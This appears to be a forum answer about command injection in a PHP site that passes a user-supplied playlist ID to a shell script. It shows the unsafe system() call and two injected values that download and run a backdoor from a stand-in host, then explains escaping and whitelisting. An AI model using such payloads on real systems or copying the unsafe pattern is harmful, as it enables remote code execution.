First, you asked about the danger of doing this. Functionality like this, if not properly implemented, may result in a critical vulnerability known as command injection, which generally allows an attacker to run arbitrary shell commands.
I do not know what language/framework your website uses, but let's assume it is PHP, and you have PHP code similar to the following:
system("/usr/local/bin/my_custom_bash_script -p " . $_POST["playlist_id"]);
This code takes a value submitted from the user (the playlist ID) and concatenates it with another string to run a shell command, which is usually passed to
/bin/sh -c. Consider if the submitted playlist ID looks like:
; curl https://evil.example/install_backdoor | sh
<some_playlist_id>$(curl https://evil.example/install_backdoor | sh)
In the first case, a semicolon tells the shell that what follows should be executed as a separate command. In the second case,
$(...) tells the shell to execute the contents in a subshell. There are various other special characters that the shell interprets that can be used for malice in these scenarios (e.g.
In PHP, for example, there exists escapeshellarg which is meant for this purpose. It ensures that whatever is passed to it is only treated as a single argument when passed to the shell. Depending on what language you are using, there should be an equivalent to this. Or, as other answers mentioned, you could use a regex to whitelist safe characters.
Since your scripts are calling other scripts, you should also watch out for 2nd order (or n-order) command injection vulnerabilities. Make sure none of those scripts you run are using
system-like functions with the untrusted data unless it has been thoroughly validated, or consider merging your functionality into the web application so that external scripts are not called at all.